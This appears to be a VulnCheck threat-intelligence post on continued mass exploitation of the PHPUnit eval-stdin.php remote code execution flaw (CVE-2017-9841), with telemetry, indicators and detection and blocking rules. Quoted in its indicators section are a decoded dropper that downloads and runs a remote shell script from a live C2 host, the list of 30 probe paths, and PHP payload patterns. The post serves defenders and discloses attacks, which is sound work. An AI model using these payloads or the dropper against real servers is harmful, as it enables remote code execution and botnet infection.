
At the time of writing, May 11, 2026:
CVE: CVE-2017-9841 | CVSS: 9.8 Critical | EPSS: 94.2% (99.9th percentile)
Some vulnerabilities get patched, forgotten, and fade into the historical record. CVE-2017-9841 is not one of them.
Nearly a decade after PHPUnit’s eval-stdin.php file was identified as a trivially exploitable remote code execution vector, VulnCheck Canary data shows the vulnerability is one of the most actively targeted in our systems, with over 80,000 exploitation attempts detected in the last 30 days across our global Canaries network, and more than 36,500 hits in just the last 10 days. Attackers haven’t moved on. If anything, the scanning infrastructure has grown more sophisticated.
This post breaks down what’s happening, who’s scanning, how the attack works, and what defenders should do about it in 2026.
This report is based on data from the last 30 days, ending 11 May.
CVE-2017-9841 is a remote code execution vulnerability in PHPUnit, the widely used PHP testing framework. It was disclosed in June 2017 and affects versions prior to 4.8.28 and 5.x before 5.6.3.
The vulnerability exists in a file called eval-stdin.php, located at:
vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
This file was included in PHPUnit for testing purposes and contains a single, devastating line:
eval('?>' . file_get_contents('php://input'));
When an attacker sends a POST request to this file with PHP code in the request body, the server executes it with no authentication required, no special headers needed. It’s about as clean an RCE as you’ll find.
The root cause isn’t a subtle logical flaw or a memory corruption bug. It’s a testing utility that was never meant to be exposed to the internet, shipped inside a Composer dependency, and left accessible in production environments that failed to exclude development dependencies from their deployment artifacts.
VulnCheck Canaries are purpose-built devices designed to detect real-world exploitation attempts against known vulnerabilities. Over the past 30 days, our Canaries have logged 80,119 CVE-2017-9841 exploitation attempts, all matching the signature VULNCHECK PHPUnit CVE-2017-9841 Exploit Attempt.
In the last 10 days alone, that number stands at 36,543 hits — indicating sustained, ongoing campaign activity rather than a one-time burst.
The majority of observed traffic is originating from a small number of IPs, with the most active being:
| Source IP | ASN | Country | Notable |
|---|---|---|---|
| 185.38.148.2 | AS25369 – Hydra Communications Ltd | United Kingdom | Primary scanner |
| 66.179.137.126 | AS8560 – IONOS SE | United States | Secondary scanner |
IP 185.38.148.2 is particularly active and this host is not exclusively targeting CVE-2017-9841. Our Canary logs show the same IP simultaneously probing for CVE-2022-47945 (ThinkPHP RCE), CVE-2024-4577 (PHP CGI argument injection), and CVE-2021-41773 (Apache path traversal RCE). This is mass-scanning infrastructure running a multi-exploit playbook against any reachable web server.
What makes these scans notable is the exhaustive path enumeration. Rather than checking a single well-known location, attackers are probing dozens of framework-specific paths in sequence, reflecting a thorough understanding of how PHP projects are structured:
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/wordpress/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
... (30+ paths per scan session)
This breadth means the scanner is optimized to find PHPUnit in non-standard installation locations, not just the obvious /vendor/ root but nested under application subdirectories, framework scaffolding, and common alias paths. A typical scan session hits 20–30 paths in rapid succession.
The POST payloads observed include:
- Shell downloads: Fetching remote shell scripts via
wgetorcurlfrom attacker-controlled infrastructure (e.g.,https://125.135.169.171/sh) and executing them - PHP webshell probing: Using
to execute encoded commands, often including credential theft or pivoting scripts - Fingerprinting: Some payloads use
echo(md5("Hello CVE-2024-4577"))style responses to verify code execution before deploying more aggressive payloads - Multi-CVE chaining: The same connection bundle includes attempts against CVE-2024-4577 (PHP CGI) and CVE-2017-9841 simultaneously, suggesting the tooling probes multiple PHP attack vectors in a single connection sweep
This is the real question. The vulnerability was patched in mid-2017. CISA added it to the Known Exploited Vulnerabilities catalog in February 2022. It carries an EPSS score of 94.2% — placing it in the 99.9th percentile of all CVEs by exploitation probability.
So why are attackers still finding victims?
PHPUnit is a development dependency. It’s listed in composer.json under require-dev, not require. The intended deployment pattern is to run composer install --no-dev in production, which excludes testing dependencies including PHPUnit.
In practice, many deployments skip this step. Teams run composer install without the --no-dev flag during CI/CD pipelines that also serve production environments. Or they install with dev dependencies for debugging, and those files never get removed. The vendor/ directory ends up in production with eval-stdin.php intact and web-accessible.
PHP applications running on Apache or Nginx often serve the entire project directory, including vendor/. Unless there’s an explicit server rule blocking access to vendor/phpunit/, the file is reachable at a predictable URL.
Many PHP applications are maintained by small teams or individuals who installed dependencies years ago and haven’t revisited them. The underlying application may be working fine, so no one updates PHPUnit from 4.x to a patched version. The dependency stays frozen, vulnerable, and accessible.
Our exploit intelligence index shows 18 public exploits for CVE-2017-9841, including dedicated mass-scanners (phpunit-brute, laravel-phpunit-rce-masscaner, PHPUnit-GoScan), Nuclei templates, Metasploit modules, and a weaponized initial-access module. The barrier to running this scan is approximately zero.
VulnCheck’s exploit intelligence data shows CVE-2017-9841 has been leveraged by several botnets including RondoDox, Kinsing, KashmirBlack, Sysrv and Androxgh0st. Persistent Botnet activity was first observed in 2020 and remains active as recently as May 2026. This is not opportunistic one-off scanning — it’s embedded in the standing playbooks of criminal infrastructure that systematically sweeps the internet for exploitable PHP applications.
What to look for in web server logs:
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
POST /*/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Any POST request to a path containing phpunit and eval-stdin.php is a red flag regardless of response code. A 200 OK indicates successful exploitation. A 404 means the file wasn’t found — but your system may still be vulnerable if the file exists elsewhere.
Network-level indicators:
- User-agent:
libredtail-http(observed in current campaigns) - PHP webshell beaconing to
125.135.169.171(observed C2 in active payloads) - High-frequency sequential requests to 20+
phpunitpaths from a single IP
SIEM/WAF rules to add:
uri_path contains "eval-stdin.php" AND request_method = "POST"
uri_path contains "phpunit" AND uri_path contains "Util/PHP"
If you run PHP applications:
- Audit your vendor directory. Check whether
vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.phpexists on any internet-facing server. If it does, you have a problem regardless of whether you’ve been exploited. - Redeploy without dev dependencies. Run
composer install --no-devin all production environments and remove the existingvendor/directory before reinstalling. - Block web access to vendor/. Add server-level rules to deny HTTP access to your
vendor/directory entirely. This should be standard practice regardless of PHPUnit.
Nginx:location ~* /vendor/ { deny all; return 403; }Apache (.htaccess or server config):
- Update PHPUnit. If you need PHPUnit in your environment, use version 4.8.28+ or 5.6.3+, where this file was removed.
- Check for indicators of compromise. If the file was present and accessible, review access logs for POST requests to
eval-stdin.php. Any 200-series responses warrant a full incident response investigation.
CVE-2017-9841 is a case study in the persistence of simple vulnerabilities. There’s nothing technically sophisticated about it, a PHP eval() call on user-supplied input is about as elementary a vulnerability class as exists. But elementary vulnerabilities in widely-deployed software, packaged inside dependency managers and exposed by deployment misconfigurations, have an extraordinary shelf life.
The VulnCheck Canary data makes one thing clear: attackers are still finding and exploiting this. The scanning infrastructure is active, organized, and running multi-exploit campaigns that treat CVE-2017-9841 as a reliable component of a web application compromise playbook alongside much newer vulnerabilities.
After nine years, the fix is the same as it was in 2017: don’t ship your test dependencies to production, and don’t web-serve your vendor directory. The attackers are counting on the fact that many teams still haven’t gotten there.
⚠️ Warning: All IPs and domains below have been observed conducting active exploitation attempts against CVE-2017-9841. Block or alert on these indicators at your perimeter, WAF, and SIEM. Do not interact with C2 infrastructure.
IPs directly observed sending exploitation payloads to VulnCheck Canaries.
| IP Address | ASN | AS Name | Country | Observed Activity |
|---|---|---|---|---|
185.38.148.2 |
AS25369 | Hydra Communications Ltd | 🇬🇧 United Kingdom | Mass scanner — PHPUnit RCE + ThinkPHP RCE + PHP CGI + Apache path traversal |
66.179.137.126 |
AS8560 | IONOS SE | 🇺🇸 United States | PHPUnit RCE scanner — exhaustive path enumeration |
116.99.50.13 |
AS7552 | Viettel Group | 🇻🇳 Vietnam | PHPUnit RCE — shell_exec + encoded C2 dropper |
167.86.88.40 |
AS51167 | Contabo GmbH | 🇫🇷 France | PHPUnit RCE — wget/curl C2 downloader (apache.selfrep tag) |
83.168.88.41 |
AS35179 | Korbank S.A. | 🇵🇱 Poland | PHPUnit RCE — wget/curl C2 downloader (apache.selfrep tag) |
Note on Cloudflare IPs: Several Cloudflare egress IPs (104.23.225.154, 104.23.225.155, 104.23.229.65, 141.101.68.221, 141.101.97.102, 172.68.151.20, 172.68.151.21, 172.71.122.170, 172.71.126.163, 172.71.135.24, 172.71.232.146) were observed making curl/8.7.1 requests to PHPUnit paths. These are likely Cloudflare Workers proxying attacker traffic. Block the specific paths rather than the IPs for these.
IPs and URLs found within exploitation payloads — these are attacker-controlled infrastructure used to deliver second-stage shells.
| Type | Indicator | Notes |
|---|---|---|
| IP | 125.135.169.171 |
Primary C2/dropper host — observed in payloads from multiple source IPs |
| IP | 185.177.72.51 |
Secondary C2 IP — observed in payload decode |
| IP | 185.177.72.68 |
Secondary C2 IP — observed in payload decode |
| URL | https://125.135.169.171/sh |
Shell download endpoint — fetched via wget/curl and piped to sh |
Decoded dropper command (base64 payload observed in live exploitation):
(wget --no-check-certificate -qO- https://125.135.169.171/sh || curl -sk https://125.135.169.171/sh) | sh -s cve_2024_4577.selfrep
The cve_2024_4577.selfrep argument tag indicates this dropper self-replicates and is part of a broader campaign simultaneously exploiting CVE-2024-4577 (PHP CGI RCE).
| User Agent | Notes |
|---|---|
libredtail-http |
Primary scanner UA — observed in 90%+ of PHPUnit hits |
curl/8.7.1 |
Secondary scanner UA — associated with Cloudflare-proxied requests |
Request Method & Body Patterns
All exploitation attempts use HTTP POST to the target paths with PHP code in the request body.
Fingerprinting payloads (used to confirm RCE before deploying full dropper):
php echo md5('phpunit_rce'); ?>
Shell execution payload pattern:
php shell_exec(base64_decode(" ")); echo(md5("Hello CVE-2024-4577")); ?>
| Signature ID | Signature Name |
|---|---|
12700264 |
VULNCHECK PHPUnit CVE-2017-9841 Exploit Attempt |
All 30 unique paths observed in active scanning campaigns. Attackers enumerate all of these in a single session to find PHPUnit in non-standard installation locations.
/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/lib/phpunit/src/Util/PHP/eval-stdin.php
/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/phpunit/src/Util/PHP/eval-stdin.php
/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/vendor/phpunit/src/Util/PHP/eval-stdin.php
/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
-- Alert on any POST to eval-stdin.php
SELECT *
FROM web_logs
WHERE request_method = 'POST'
AND (
uri_path LIKE '%eval-stdin.php%'
OR uri_path LIKE '%phpunit%Util/PHP%'
)
-- Alert on known scanner user agents hitting any phpunit path
SELECT *
FROM web_logs
WHERE http_user_agent IN ('libredtail-http')
AND uri_path LIKE '%phpunit%'
-- Alert on known scanner IPs
SELECT *
FROM web_logs
WHERE src_ip IN (
'185.38.148.2',
'66.179.137.126',
'116.99.50.13',
'167.86.88.40',
'83.168.88.41'
)
# Block all requests to phpunit eval-stdin.php
location ~* /phpunit.*eval-stdin\.php {
deny all;
return 403;
}
# Block vendor directory entirely
location ~* /vendor/ {
deny all;
return 403;
}
# Block phpunit eval-stdin.php
Require all denied
# Block vendor directory
Require all denied
A community Nuclei template for detection exists at:
https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2017/CVE-2017-9841.yaml
Public exploit tooling observed or tracked by VulnCheck for CVE-2017-9841. These are documented for defensive awareness.
| Field | Value |
|---|---|
| CVE ID | CVE-2017-9841 |
| Affected Software | PHPUnit < 4.8.28, PHPUnit 5.x < 5.6.3 |
| Vulnerability Type | Remote Code Execution (Unauthenticated) |
| Attack Vector | Network — HTTP POST to exposed eval-stdin.php |
| CVSS Score | 9.8 Critical |
| EPSS Score | 94.21% (99.9th percentile) |
| NVD Published | June 27, 2017 |
| First Exploit Published | May 18, 2020 |
| First Botnet Activity | November 22, 2020 |
| Total Public Exploits (VulnCheck) | 18 |
| Tracked Botnets (VulnCheck) | 5 |
VulnCheck is helping organizations not just to solve the vulnerability prioritization challenge – we’re working to help equip any product manager, CSIRT/PSIRT or SecOps team and Threat Hunting team to get faster and more accurate with infinite efficiency using VulnCheck solutions.
We knew that we needed better data, faster across the board, in our industry. So that’s what we deliver to the market. We’re going to continue to deliver key insights on vulnerability management, exploitation and major trends we can extrapolate from our dataset to continuously support practitioners.
Are you interested in learning more? If so, VulnCheck’s Exploit & Vulnerability Intelligence has broad threat actor coverage. Register and demo our data today.
